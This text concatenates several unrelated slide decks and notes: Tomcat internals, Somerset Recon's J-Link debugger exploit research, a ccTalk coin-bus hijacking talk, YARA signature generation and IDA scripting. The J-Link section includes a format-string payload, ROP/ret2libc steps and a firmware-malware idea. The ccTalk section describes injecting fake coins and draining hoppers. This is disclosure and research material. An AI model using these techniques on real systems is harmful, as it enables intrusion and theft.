<url-pattern>/addresume</url-pattern>
</servlet-mapping>
public interface Lifecycle 生命周期接口,所有组件直接或间接实现接口
1. 进入入口文件,创建Bootstrap对象。
2. 调用 init() 方法进行初始化。
在 init 方法中通过反射创建了 Catalina 对象,然后执行了 setParentClassLoader 方法。最后
将创建的 Catalina 对象返回给 catalinaDaemon 。
3. 进行 load 方法,在 load 方法中使用反射调用 Catalina 的 load 方法。
在 Catalina 对象的 load 方法当中,加载了 server.xml 文件。
4. server.xml 文件的解析。在 load 方法中调用 digester.parse 方法进行 xml 的解析。
解析完成之后的 Root 参数:
可以看到 server 的参数是一个 standardServer 类的对象,也就是 server 类的实现类
StandardServer 。
此处的 server 也满足 xml 文件的套娃定义:
5. getServer.init() 方法进行生命周期初始化(LifecycleBase的初始化)
之后进入 initInternal 方法:
6. service 的初始化,在 initInternal 方法中,第849行开始进行 service 的初始化
此时的 service 是一个 standardService 对象
7. 进行 engine 的初始化, engine.init()
engine 在此处初始化了一个线程池,将之后其余子组件的初始化放入线程池中进行。
engine 的初始化结束
8. 连接器初始化
此处创建了一个连接器适配器 CoyoteAdapter ,之后进行 endpoint 初始化。 protocolHandler
初始化,主要是内部的 endPoint 初始化。
9. endpoint 初始化,第80行通过 super.init() 进行 endpoint 的初始化,在 endpoint 初始化的
过程中会进行端口绑定
tomcat 使用 Nio 的通信模型,所以 bind 方法会进入到 NioEndpoint 类当中
tomcat启动过程之start过程
Servlet请求处理链路
问:一个 servlet 是如何被 tomcat 处理的?
答:一个servlet请求->找到能够处理当前servlet请求的servlet实例->servlet.service()
Servlet请求处理分析
1. 请求处理分析流程需要关注的是 start 过程中的 Connector 过程,其中有一个 Poller 线程,用于
监听可以被处理的 channel ,因此这个是请求处理的入口。
2. 经过中间过程的处理,最后通过 org.apache.coyote.http11.Http11Processor.java 开始封装
request 和 response 两个对象。
3. 之后将 request 和 response 两个请求交给 adapter 进行处理,将 request 和 response 转换
servletRequest 和 servletResponse
4. 找到能够处理当前请求的 servlet 容器
5. 开始调用容器进行处理。
6. 上面这一步会进入到Engien层,去寻找Host
7. 进入Engien之后又会去寻找Host:
8. 最后来到Context层,最后调用servlet进行处理。
9. 此时堆栈示意图:
10. 执行 servlet 的过程是 StandardWrapperValve.java 。
11. 第173行,将servlet封装进入filterChain中一起执行.
12. 执行filterChain,这一步也就是执行servlet
Mapper组件体系结构
tomcat中使用了Mapper重新封装了 Host-context-wrapper(servlet) 之间的数据。在匹配出能
够处理当前请求的 Host-context-Wrapper 之前, mapper 对象已经初始化完成了,那 mapper 对象
是什么时候初始化的?
1. 关于 Mapper 对象,以及 postParseRequest 方法中对于Mapper的处理过程.
2. 此处 request.getMappingData 获取的数据为空,之后调用 Mapper.map 进行处理。
3. 之后再进入 internalMap 方法。
4. request.getMappingData() 中负责存储本次请求url与servlet的请求。而
this.connector.getMapper().map 中负责查找url与servlet的对应关系,并存储到
request.getMappingData() 中。下面我们主要分析一下 this.connector.getMapper().map 方
法,当然该方法最终调用的是 org.apache.tomcat.util.http.mapper.Mapper#internalMap 方
法,继续跟踪 internalMap
5. 此处 contextList 保存的是一共有几个应用,即 context ,之后会查找当前的 uri 位于哪一个
context 中,如果不失配,进入到之后的处理。
6. 从 Mapper 中根据 webapp 的名称,查找到相关的 Map.context 。而 Map.context 中,存储着每
个 webapp 中 url 与 servlet 的对应关系。在方法的最后,调用 this.internalMapWrapper 去查
找相对应的 Wrapper ,并存放在 request 中,作为本次请求中待调用的 servlet 。 | pdf |
Somerset Recon
Infecting the Embedded
Supply Chain
Zach Miller
Alex Kissinger
Somerset Recon
Introduction - Who We Are
Zach:
●
Reverse Engineering, Pen Testing
●
Twitter: @bit_twidd1er
Alex:
●
Barista that occasionally does security things @ Somerset Recon
●
Cappuccinos, Hardware Hacking, Reverse Engineering
Somerset Recon
Introduction - Somerset Recon
●
@SomersetRecon
●
https://somersetrecon.com/contact
Somerset Recon
Previous Research - Electronic Safe Lock Analysis
●
Discovered vulnerabilities in the mobile application and wire protocol
of the SecuRam Prologic B01 Bluetooth electronic safe lock
●
Capture and decode PIN numbers transmitted wirelessly
●
Brute force PIN numbers over the wire
Somerset Recon
Previous Research - Hello Barbie
●
Security analysis on the Mattel Hello Barbie doll
●
Identified several vulnerabilities affecting the device and associated
web and mobile technologies
Somerset Recon
These are all embedded devices
Somerset Recon
Where are embedded devices?
Embedded
General Purpose
???
Somerset Recon
Industries Develop Embedded Devices
●
Automotive
●
Industrial
●
Medical
●
Communications
●
Digital Consumer
●
Etc.
Somerset Recon
What do these embedded
devices have in common???
Somerset Recon
They all utilize embedded
debuggers for their
development
Somerset Recon
Our Targets
Somerset Recon
Our Targets
Somerset Recon
Segger J-Link Debug Probe
●
JTAG/SWD/SWO/etc.
●
In Circuit Emulator (ICE)
●
In Circuit System Programmer (ICSP)
●
Supports ARM/ARM Cortex, RISC-V, RX targets
●
USB and Ethernet
●
Cross platform toolchain
●
“Ultrafast” download/upload to flash
●
Unlimited software breakpoints
“SEGGER J-Links are the most widely used line of debug probes available
today”- www.segger.com
Somerset Recon
Segger Software
●
J-Link Software Package
●
J-Link GDB Server RTOS Plugin SDK
●
SystemView - Real-time Analysis and Visualization
●
Ozone Graphical Debugger
●
J-Scope Data Analysis and Visualization Tool
●
Much more...
We focused on the J-Link Software Package
Somerset Recon
J-Link Software
“All-in-one debugging solution”
●
J-Link Commander (Command line tool)
●
J-Link GDB Server
●
J-Link Remote Server
●
J-Mem Memory Viewer
●
J-Flash
●
Much more...
Somerset Recon
Segger J-Link Setup
Somerset Recon
Segger J-Link - Attack Surface
Hardware Debug Probes
○
Firmware
Software Packages that Interact with Debug probes
○
USB Driver
○
Lots of user-mode applications
○
Full-blown IDE
Somerset Recon
Hardware
Somerset Recon
Segger J-Link - Hardware
●
How it works
●
Extracting firmware
●
Feature diffs between devices
●
Security mechanisms
○
Is it open?
Somerset Recon
Segger J-Link - Hardware
J-Link EDU V9.3
Somerset Recon
Segger J-Link - Hardware
Somerset Recon
Segger J-Link - Hardware
Somerset Recon
Segger J-Link - Hardware
Somerset Recon
Segger J-Link - Hardware
●
Tag-Connect™?
Somerset Recon
Segger J-Link - Debugging a J-Link with a J-Link
●
Security and Flash bits set in flash
●
Refuses to connect and erase
●
Other ways around this?
Somerset Recon
Segger J-Link - Debugging a J-Link with a J-Link
●
J-Link Mini EDU MCU Reference Manual
●
Chips are cool
Somerset Recon
J-Link Desktop Software
Somerset Recon
Vulnerability Research - Reverse Engineering
●
A lot of cross-compiled code
●
Some interesting custom string-manipulation stuff (more on this later)
●
A lot of uses of dangerous functions
●
Mostly basic applications, nothing that complicated going on
Somerset Recon
Vulnerability Research - Reverse Engineering
Analysis of binary protections:
●
DEP/NX enabled
●
ASLR enabled
●
PIE is not enabled
●
No stack canaries in *nix binaries, stack canaries present in Windows
●
SafeSEH used in Windows binaries
●
No Symbols
Somerset Recon
Vulnerability Research - Fuzzing
Set up fuzzers to test various input vectors
○
Files
○
Network interfaces
○
Command line args
Used peach to do generational fuzzing
○
A lot of structured, text-based formats
○
A lot of interesting code paths that needed magic numbers to
reach
Somerset Recon
Vulnerability Research - Fuzzing
●
Tens of thousands of crashes
○
Core files everywhere
●
Lots of exploitable crashes
●
...but also tons of duplicate crashes
●
We had issues keeping J-Link
devices attached to VMs
Somerset Recon
Vulnerability Research - Fuzzing
Issues keeping J-Link attached to VM:
●
After a crash the J-Link devices enter a bad state and are disconnected
from the fuzzing VM
●
We created a crash monitor to trigger on any crash while fuzzing
○
Have the monitor run a script to check if J-Link had fallen off the
VM
○
If so, use libvirt to reattach the J-Link if needed
Somerset Recon
Local Exploits
Somerset Recon
CVE-2018-9094 - Format String Vulnerability
● J-Flash tool
● Found interesting custom printf style functions
implemented in J-Link
Somerset Recon
CVE-2018-9094 - Custom String Formatting
Accepts limited subset of format specifiers
● Accepts basic specifiers: %d, %x, %p, %u, …
● Doesn’t accept the %n family of specifiers
● Accepts precision arguments: .number
Somerset Recon
CVE-2018-9094 - Format String Vulnerability
JFlashSPI_CL.exe -open
xAAAA%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%
X%X%X%X%X%X%X%s
Somerset Recon
CVE-2018-9094 - Impact
● Lack of %n format specifiers reduces severity of
this vulnerability
● Potentially could be leveraged as part of an
exploit chain as a primitive to read arbitrary
memory
Somerset Recon
CVE-2018-9095 - Discovery
●
J-Link Commander tool
●
Found via fuzzing and made up most of our exploitable crashes (>99%)
●
Traditional stack buffer overflow
●
Reads each line of a file into 512 byte stack buffer
Somerset Recon
CVE-2018-9095 - Triage
$ gdb -c core
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
...
[New LWP 1928]
Core was generated by `JLink_Linux_V630b_i386/JLinkExe -CommandFile
payload'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xb7613456 in ?? ()
gdb-peda$ bt
#0 0xb7613456 in ?? ()
#1 0x41414141 in ?? ()
...
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Somerset Recon
CVE-2018-9095 - Exploitation
Steps to exploitation:
1.
Control over return address
2.
Get the address of Libc
3.
Use that to get the address of system()
4.
Call system() with arguments
5.
Bob’s your uncle.
Somerset Recon
CVE-2018-9095 - Triage
1. Control over return address
●
Used GDB Peda to calculate offset
●
Other cool tools (radare2, pwntools, patter_create.rb) out there can
utilize cyclic patterns (De Bruijn sequence) to calculate offsets
Somerset Recon
CVE-2018-9095 - Triage
●
ROP gadgets
○
ROPGadget Tool
■
Grep like a madman
○
Ropper
■
Z3
○
Manually Searching/Custom Tools
○
Bad bytes are bad
Somerset Recon
CVE-2018-9095 - Triage
2. Get the address of Libc
●
Used pwntools to dump all got.plt symbols
●
Search through ROP gadgets for uses
●
ROP gymnastics to dereference it
>>> for x in
elf.plt:
... print x
...
lseek
malloc
clock_gettime
dlsym
memset
strcat
__libc_start_main
printf
fgets
//Chain pseudo
0x804ae7c: esi = **libc
0x0804ae79: eax = esi, esi = **libc
0x0804d0b3: eax += *eax
0x8048e87: eax -= esi
Somerset Recon
3. Use that to get the address of system()
●
The system() function was not called in text, used to the
“__libc_start_main” symbol instead
●
GDB to calculate the offsets
●
Lack of gadgets at this point
○
ROP gymnastics to get the proper value in EAX
CVE-2018-9095 - Triage
//Chain pseudo
0x0804b193: eax += 0x5b000000, esi = 0x5b000000-off_to_sys
0x8048e87: eax -= esi
Somerset Recon
4. Call system()
●
Wanted it to be reliable and reproducible for CVE
●
DEP/NX is annoying
●
What string argument do we pass to system()?
CVE-2018-9095 - Triage
//Chain pseudo
0x08049841: push esi; call eax;
Somerset Recon
4. Call system() with arguments
$ strings JLinkExe | grep "sh$"
fflush
SWOFlush
.gnu.hash
That’ll work...
CVE-2018-9095 - Triage
Somerset Recon
CVE-2018-9095 - PoC
●
Craft malicious J-Link command files that can be sent to victim
●
Local code execution
●
32-bit JLinkExe binary
●
i386 and amd64 Linux systems
●
ROP
○
ASLR bypass
○
Ret2libc
○
Reverse shell is doable, but requires ROPing in Libc
Somerset Recon
CVE-2018-9095 - Use Case
Somerset Recon
CVE-2018-9097 - Settings File Overflow
Very similar to previous exploit
JLinkExe executable reads a “SettingsFile”
●
Reads in settings file and passes to libjlinkarm.so.6.30.2 to update
settings
●
libjlinkarm.so.6.30.2 has a buffer overrun in BSS segment
●
Used the overflow to overwrite a function pointer in BSS segment
Somerset Recon
Remote Exploits
Somerset Recon
CVE-2018-9096 - Discovery
●
JLinkRemoteServer tool
●
Opens up a bunch of ports:
$ sudo netstat -tulpn | grep JLinkRemote
tcp 0 0 0.0.0.0:24 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19080 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 0.0.0.0:19020 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19021 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19030 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 31417/./JLinkRemote
Somerset Recon
CVE-2018-9096 - Discovery
●
JLinkRemoteServer tool
●
Opens up a bunch of ports:
$ sudo netstat -tulpn | grep JLinkRemote
tcp 0 0 0.0.0.0:24 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19080 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 0.0.0.0:19020 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19021 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 127.0.0.1:19030 0.0.0.0:* LISTEN 31417/./JLinkRemote
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 31417/./JLinkRemote
Telnet?
Somerset Recon
CVE-2018-9096 - Discovery
●
Reverse engineering revealed it was actually a built-in Telnet server:
●
Allows Telnet connections which provide similar functionality to the
Tunnel server
Somerset Recon
CVE-2018-9096 - Discovery
Fuzzing of the Telnet server revealed an interesting crash:
JLinkRemoteServ[31402]: segfault at 41414141 ip 41414141...
Somerset Recon
CVE-2018-9096 - Triage
Additional RE and triage revealed the following about this vulnerability:
●
Stack buffer overflow
●
Crashes are not consistent due to race condition
●
Limited amount of space to work with (48 byte maximum ROP chain
length)
●
ASLR + DEP/NX but no PIE
●
Additional user-controlled data were found in program memory
Somerset Recon
CVE-2018-9096 - Exploitation
●
Traditional techniques used to set up the call to system()
○
NX was bypassed using ROP chain
○
ROP chain bypassed ASLR using GOT dereference of libc function
call
■
ROP chain then calculates address of system() based on offset
from base of libc
●
Main issue was getting arbitrary user-controlled strings as argument to
system()
Somerset Recon
CVE-2018-9096 - Exploitation
●
User-controlled strings were consistently found in one of either two
static locations that were 72 bytes apart from each other
○
We were unable to predict which location will store the
user-controlled string
●
How do we consistently setup the argument to system() to run our
command?
Somerset Recon
CVE-2018-9096 - SPACE SLEDS
Somerset Recon
CVE-2018-9096 - SPACE SLEDS
●
Inspired by NOP sled techniques used to increase the reliability of
exploits
●
Concept: Prepend spaces to the user-controlled command string in
order to create some overlap between the two command strings
●
Use the address of the overlapping command strings as the argument
to system()
Somerset Recon
CVE-2018-9096 - Demo
Somerset Recon
CVE-2018-9093 - Tunnel Server Backdoor
●
JLinkRemoteServer tool
●
“[P]rovides a tunneling mode which allows remote connections to a
J-Link/J-Trace from any computer, even from outside the local
network.”
Somerset Recon
CVE-2018-9093 - Tunnel Server Backdoor
“I wonder if there are any weaknesses with their auth?”
Somerset Recon
CVE-2018-9093 - Tunnel Server Backdoor
●
Registers all detected J-Link device serial number with Segger server
●
Segger server accepts connections and proxies traffic back to
registered devices based off of serial numbers
●
Uses hardcoded magic numbers and no authentication
●
J-Link device -> proxy server: Magic number = 0x11223344
●
Debugging client -> proxy server: Magic number = 0x55667788
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
●
But brute forcing all of the serial numbers would be too hard...right?
●
Serial numbers are 9 decimal digits - 10 billion possibilities
○
Assuming 10 serial numbers/second it would take >31 years to try all possible S/Ns
●
Is there some way to shrink the space?
○
How are Segger serial numbers assigned?
○
Where do the serial numbers begin?
●
How can we find J-Link serial numbers?
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
Google “Segger J-Link” images:
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
Phone a friend and ask for their serial numbers?
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
●
From search results combined with devices we own we were able to
find about about 30 J-Link serial numbers
●
From those results several patterns emerged
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
●
86: Model
●
10: Version
●
00743:
Incremented per
device
Somerset Recon
CVE-2018-9093 - Serial Number Analysis
Serial Number Analysis Results:
●
Good coverage of serial number space is possible with ~100,000 serial
numbers
○
Reduces time to brute force from over 31 years to less than 3
hours
Somerset Recon
CVE-2018-9093 - Impact
● Demo
Somerset Recon
CVE-2018-9093 - Impact
Once connected to a J-Link Device one can:
● Flash new firmware to a device
● Read existing firmware
● …
( ͡~ ͜ʖ ͡°)
Somerset Recon
Disclosure
Somerset Recon
Disclosure
April 4, 2018 - Disclosed vulnerabilities to Segger
April 5, 2018 - Segger responds acknowledging vulnerabilities
April 9, 2018 - Segger releases patches for most of the vulnerabilities
April 10, 2018 - Founder & CTO responds thanking us
Somerset Recon
Summary of Vulnerabilities
●
Vulnerabilities in J-Link tunnel server opens backdoor to attached J-Links and
can compromise the state of your devices and your network
●
Vulnerabilities in the JLinkRemoteServer allow an attacker to gain full remote
code execution
●
No authentication for JLinkRemoteServer or JLinkGDBServer which allows
downloading and flashing of embedded devices
●
Traffic is not encrypted to JLinkRemoteServer or tunnel server
●
Vulnerabilities in file parsing allow an attacker who distributes malicious J-Link
files (command files or settings files) to gain execution on the machine that
parses those files
Somerset Recon
Conclusions
●
Developers should always use the PIE flag to make memory corruption
more difficult
●
Several unknown vulnerabilities were discovered that affect the J-Link
Debugger family and its associated software
●
Given that these devices play a critical role in the embedded supply
chain, additional security protection should be implemented to protect
the users and consumers
●
Segger’s response was encouraging
○
No cease and desist
○
Quickly patched many of the vulnerabilities
●
Don’t trust any remote debugging server
Somerset Recon
BUT WAIT THERE’S MORE!
●
Revisiting J-Link hardware via firmware flashing process
●
Crafting firmware malware
Somerset Recon
J-Link Updating Process
●
J-Link Commander will ask you if you’d like to update your connected
J-Link Debug Probe
○
We figured out how the update process works
●
We reversed the USB protocol
Somerset Recon
J-Link Updating Process
●
Firmware is checked on the device before flashing, but not very well
○
Hint: It uses dates
○
Can this be bad?
●
Firmware is not signed and can be modified
How could this be bad?
Somerset Recon
Malware
Consider a piece of malware that gets circulated via email, etc.:
●
Runs silently
●
Flashes any J-Link connected to the computer
●
Exits cleanly
Somerset Recon
Malware - DEMO
● Demo
Somerset Recon
Questions?
We will be posting slides, source code, and additional info:
●
Slides and POCs: https://github.com/Somerset-Recon
●
Blog post: https://www.somersetrecon.com/blog
Contact:
●
@SomersetRecon
●
https://www.somersetrecon.com/contact | pdf |
Please insert
inject more
coins
Defcon XXI
Press start
x 2
Me ?
Nicolas Oberli (aka Balda)
Swiss security engineer
CTF enthusiast
Retro gamer
Beer drinker / brewer
x 3
It all started so simply...
I wanted to add
coin handling to
my MAMEcab
Bought a coin
acceptor on an
auction site
x 4
Coin handling devices
All kind of machines use coin handling
devices
– ATMs
– Vending machines
– Casino game machines
– …
Multiple devices are used in those
machines
x 5
Coin / Bill acceptors
Used to count coins and
bills
Can detect coin/bill
value
Detects false coins/bills
x 6
Coin hopper
Used to give coins back
to the customer
– One hopper per coin value
– Gives back coins one by
one
x 7
Communication protocols
Multiple protocols are used to
communicate with these devices
– Parallel
– Serial (RS232)
– MDB
– ccTalk
The protocols are very vendor-specific
ccTalk is what we will be talking about
x 8
ccTalk ?
“coin-controls-Talk”
Semi-proprietary protocol
– Maintained by Money Controls LLC, England
– Protocol specs available on cctalk.org
● Some parts of the specs are only available after
signing a NDA :-(
x 9
ccTalk ?
Request / response messages
RS232-like data transmission
– Uses only one wire for both sending and
receiving
– 9600 bits/s, 8N1, TTL signals (0 - 5V)
Each device has its own address on the
bus
– By default 1=controller, 2=coin acceptor
x 10
ccTalk message format
All frames use the same format
– Header is the actual command sent to the
device
● Header == 0 means it's a response
Payload length can vary from 0 to 252
– Data length != packet length
Checksum is the complement to 0xFF of
the packet
destination
data length
source
header
[data]
checksum
1 byte
x 11
ccTalk headers
Each command is assigned a header
– Since its coded in a byte, 256 possible
commands
● From the doc :
x 12
Sample communication
02 00 01 FE ff
– Sample poll from @01 to @02
01 00 02 00 FD
– Response from @02 to @01
02 00 01 F6 07
– Request manufacturer ID
01 03 02 00 4E 52 49 11
– Response (length 3) : NRI
● (ASCII encoded)
x 13
Coin acceptor handling
The controller polls a coin acceptor using
header 229
– The response contains the following payload
Counter is incremented for each event
generated by the acceptor
– Event counter cycles from 1 to 255
Result 1A
Result 1B
counter
Result 2A
Result 2B
Result 3A
Result 3B
Result 4A
Result 4B
Result 5A
Result 5B
1 byte
x 14
Coin acceptor results
The last five results are sent in the
response
– Result A contains the validation channel
● A device can recognize a certain amount of
different coins which are organized in channels
● Either set by the manufacturer or by config
– Result B contains the error code (Bad coin,
mechanical error, ...)
● Again, the codes are vendor specific
– Sometimes, results A and B are switched
x 15
Initial project
Implemented the ccTalk protocol to
handle a coin acceptor
Use a Teensy in keyboard mode
– When a coin is inserted, determine its value
and send the corresponding number of
keystrokes to MAME
x 16
Can we do more ?
Other vending machines may use other
headers and / or functions
It is difficult to track responses
– You need to decode the request first
There is no open source sniffer for
ccTalk...
x 17
Introducing ccSniff/ccParse
Python utilities used to sniff data on a
ccTalk bus and parse the sniffed data to
a readable format
– Use a ccTalk library developed from scratch
Can use a bus pirate to sniff
– It's the best way, since it can handle UART
signals correctly
x 18
Demo !
x 19
Can we do even more ?
What if we can inject some data on the
bus ?
– Like telling the controller “Hey ! I'm the coin
acceptor and I received a LOT of money !”
The problem is, we only have one wire
for the whole bus
– Both us and the device receive the request
at the same time
– This means we would answer at the same
time and jam the signal
x 20
ccTalk multidrop commands
Used by the controller to resolve
addressing conflicts
– Header 251 – Address change
– Used by the controller to force a device to
change its address in case of conflicts
x 21
Device in the middle
No checks are made to ensure that the
request is valid
– Simply tell the device at address x that it
needs to change its address to y
Using these requests, we are now able to
hijack the device
– It allows us to intercept all communication
between the controller and the device
x 22
Injection scheme
Mainboard
Device
Attacker
@1
@2
Credit read
Credit response
@77
@1
@2
Address change
@2
@1
@99
x 23
Timing
We need to be sure that we won't jam
the current traffic
At 9600b/s, it takes 1.04ms to send a
byte
Specs indicate that devices need to be
polled every 200ms
– Largely enough time for us
x 24
Device hijacking
To hijack a device on the bus :
● Scan the bus to search for silence
● If sufficient periods of silence, prepare injection
● Craft an address change packet
● Wait for silence period, then inject packet
● Respond to requests from the controller
● When finished, set the device to its original
address
Remember, we need to do this while the
bus is in use
x 25
Introducing ccJack
Automates the hijacking process
Can emulate any device by sniffing the
current responses and reply the same
Can use a bus pirate to sniff and inject
x 26
Example : Inject coins !
Once the coin acceptor is hijacked, just
respond by incrementing the counter
– It is also possible to modify the coin code to
increase the value of the injected coin
Be careful ! The counter must be higher
or equal to the last value
– Any lower value will make the controller
throw an error and likely reset itself
x 27
More ?
As the acceptor is “offline”, we can do
whatever we want to it
– Some coin acceptors can be recalibrated by
ccTalk
● Look for headers 201 and 202
● What if one cent becomes $1 ?
– The path the coin takes after being accepted
can be modified
● Look for headers 209 and 210
● What if the new path is the money return ?
x 28
Demo !
x 29
Hopper handling
Hoppers follow a special schema to
release money (simplified)
– Controller asks for a challenge (Header 160)
– Hopper responds with 8 random bytes
– Controller encodes this challenge and sends
the response with the number of coins to
release (Header 167)
– Operation is checked periodically by the
controller (Header 166)
x 30
Hopper bias
To simplify these steps, some vendors
provide hoppers with no
challenge/response support
– Sometimes, you just need to send the
hopper serial number as the response
– Sometimes...
If the hopper Product Code is "SCH2-NOENCRYPT", then the
DISPENSE COINS command still needs an 8-byte code, but the
value of the code does not matter.
x 31
Grab the money !
After a hopper is hijacked, just tell it to
dispense 0xff coins
– Will only work if the hopper does not use the
challenge/response method
Better : Use the “Purge hopper”
command (Header 121)
– Does not take any challenge/response
– Hardly ever implemented in practice
x 32
Isn't there any protection ?
Some devices only respond after having
been provided a PIN code
– Only for a subset of commands
● Depends on the device / firmware / vendor
– Well, just wait for the PIN to be sent by the
controller
● Check for header 218
– We can “help” it by pulling the power cord
– It could be possible that the PIN code is the
same for a vending machine model
x 33
Encryption
In later versions of the specs, the ccTalk
payload and headers can be encrypted
– Two encryption methods available
● Proprietary encryption – 24 bit key
● DES encryption – 56 bit key
– Use a pre-shared key between the controller
and the devices
Encryption uses different headers
– Header 229 vs header 112
– Still possible to get values from the
“unencrypted” header
x 34
Future – Research fields
More things to discover on the protocol
– Encryption support seems suspicious
● Keys can be transferred using ccTalk
● Proprietary and closed-source encryption could
be weak
– Some devices accept dumping their internal
memory by ccTalk
● Maybe there are vulns in the firmwares ?
– It is possible to upload a new firmware to
the devices using ccTalk
● Evilgrade ccTalk edition ?
x 35
Conclusions
Specific protocols can be fun to analyze
– You never know where you can find exotic
protocols
ccTalk definitely needs more attention
– Since it transports money-related
information, there are interesting
applications
If you don't have one, get a bus pirate
– It's pure awesomeness !
x 36
Availability
ccTools available on my GitHub account
– https://github.com/Baldanos/ccTools
More information about ccTalk after
Defcon on my website
– http://www.balda.ch
x 37
Many thanks !
Any questions ?
@Baldanos
http://www.balda.ch
Did I mention I LOVE beer ? | pdf |
Andrea Marcelli (@_S0nn1_)
Twitter
Email
Web
PhD Student
Security Researcher
The signature generation problem
The algorithm
Introducing YaYaGen
Demo
A unique pattern
Syntactic signatures
* this is where the most of the existing tools and researches focus on
Semantic signatures
Android malware
Reduce
Automate
100% recall
Save
“YARA is to files what Snort is to network traffic”
de-facto standard
syntactic signatures
Semantic signatures
rule YaYaSyringe {
meta:
author = "DEF CON 26"
strings:
$a = “text here”
$b = { E2 34 A1 C8 23 FB }
condition:
$a and $b
and androguard.filter("action.BATTERYCHECK")
and androguard.number_of_services == 3
…
}
APK
Unsupervised
Automatic
Each block is an attribute extracted through the analysis
quality of the analysis
static
dynamic
url: “malware.xxx”
permission:
“ACCESS_FINE_LOCATION”
Sample 1
Sample 2
=
Signature
Sample 1
Sample 2
Sample 3
Sample 4
Sample 5
Sample 6
Sample 7
Sample 8
Sample 9
Sample 10
Sample 11
Sample 12
dynamic greedy algorithm
+
+
+
+
clause
literal
DNF
clause
weighed
is the lowest
weighting system
higher the weight, the less FP
lower the weight, the more FP
TMIN
TMAX
over-specific
Basic optimizer
Evo optimizer
TMAX
Raw
Optimized
From
application analysis reports
YARA rules
to
2 algorithms
2 optimizers
heuristics
YARA rule parser
FP exclusion
Koodous
Rule Name
Original
YaYaGen
Improvement
1,004
+86.3%
315
+43.2%
257
+89.0%
652
+16.6%
172
+8.2%
430
+131.2%
perform better
100 apps is
less 5 minutes | pdf |
PUT ON YOUR TINFO_T HAT
MIAUBIZ
DEFCON 23
AUGUST 7TH 2015
C++ templates
template <typename Type>
Type max(Type a, Type b) {
return a > b ? a : b;
}
specialized
char max<char>(char a, char b) {
return a > b ? a : b;
}
specialized
uint32_t max<uint32_t>(uint32_t a, uint32_t b)
{
return a > b ? a : b;
}
C++ Templates
`anonymous
namespace'::OpenBSDTargetInfo<`anonymous
namespace'::SparcV8TargetInfo>::getOSDefines(
clang::LangOptions const&,llvm::Triple
const&,clang::MacroBuilder &)
templates
std::__1::list<std::__1::basic_string<char,std::__1::
char_traits<char>,std::__1::allocator<char>>,std::_
_1::allocator<std::__1::basic_string<char,std::__1::
char_traits<char>,std::__1::allocator<char>>>>::er
ase(std::__1::__list_const_iterator<std::__1::basic_
string<char,std::__1::char_traits<char>,std::__1::all
ocator<char>>,void
*>,std::__1::__list_const_iterator<std::__1::basic_st
ring<char,std::__1::char_traits<char>,std::__1::allo
cator<char>>,void *>)
THREE WAYS TO FIX THIS.
SOLUTION 1
idc.GetTinfo
Python> idc.GetTinfo(idc.here())
('\x0cp\x05\x03\xffA\n=\x04#
\x99m\n=\x04#\x95v', '\x05this
\x01')
idc.GetTinfo
the type: “\x0cp\x05\x03\xffA
\n=\x04#\x99m\n=\x04#\x95v”
the args: “\x05this\x01”
idc.ApplyType
idc.ApplyType(ea, idc.GetTinfo(ea))
True
reverse the IDA
\x0cp\x05\x03\xffA\n=\x04#
\x99m\n=\x04#\x95v
the juicy bit
\n= \x04 # \x99m
\n= \x04 # \x95v
* etc
length
ordinal
follows
the ordinal
Local Type Ordinals
get ordinal by name
decode the ordinal
\x99m -> 0x996d
decode the ordinal
0x996d ->
(0x99&0x7f) * 0x40 +
(0x6d & ~0x40)
-> 1645
decode the ordinal
\x95v -> 0x9575
decode the ordinal
0x9575 ->
(0x95 & 0x7f) * 0x40 +
(0x76 & ~0x40)
-> 1398
so 1645 and 1398
encode an ordinal
((ordinal >> 6) & 0xff | 0x80) +
(ordinal & 0x3f | 0x40)
reconstitute the string
Python>
idc.ApplyType(idc.here(),
('\x0cp\x05\x03\xffA\n=\x04#AA
\n=\x04#bb', '\x05this\x01'))
True
SOLUTION 2:
TYPES CAN HAVE ANY NAME
types can have any name
rename all types
rename all involved types to benign
names
set types
rename types back
this API does what it says
idaapi.rename_named_type(
idaapi.cvar.idati,
CURRENT_NAME, NEW_NAME,
idaapi.NTF_TYPE);
SOLUTION 3:
TINFO_T APIS
tinfo_t yeah
vdui = get_tform_vdui(get_current_tform())
de = idaapi.decompile(idc.here())
lvar = de.arguments[0]
a_type = idaapi.tinfo_t()
a_type.get_named_type(idaapi.cvar.idati,
“some<crazy, name<lol>>”);
ptr_type = tinfo_t()
ptr_type.create_ptr(a_type)
vdui.set_lvar_type(lvar, ptr_type)
tinfo_t yeah
a_type = idaapi.tinfo_t()
a_type.get_named_type(
idaapi.cvar.idati,
“some<crazy, name<lol>>”)
tinfo_t yeah
vdui.set_lvar_type(
lvar, a_type)
and the return type?
there is no lvar that changes the
return type of a function
can’t add / remove arguments
SOLUTION 3.1:
CREATE AN ARBITRARY FUNCTION TYPE
create a function type
_, tp, _ = idc.ParseType(
“static volatile OWORD*
__fastcall lol(static volatile
unsigned double);”, PT_TYP)
use weird marker types no real person would use.
put in the number of arguments you want.
create a function type
tp_replaced =
do_stuff_from_solution1(tp)
create a function type
fn_tinfo = tinfo_t()
fn_tinfo.deserialize(cvar.idati,
tp_replaced, “”)
create a function type
apply_tinfo2(ea,
fn_tinfo, TINFO_DEFINITE
(apply_tinfo doesn’t apply tinfo)
create a function type
_, tp, _ = idc.ParseType(“static volatile
OWORD *__fastcall lol(static volatile
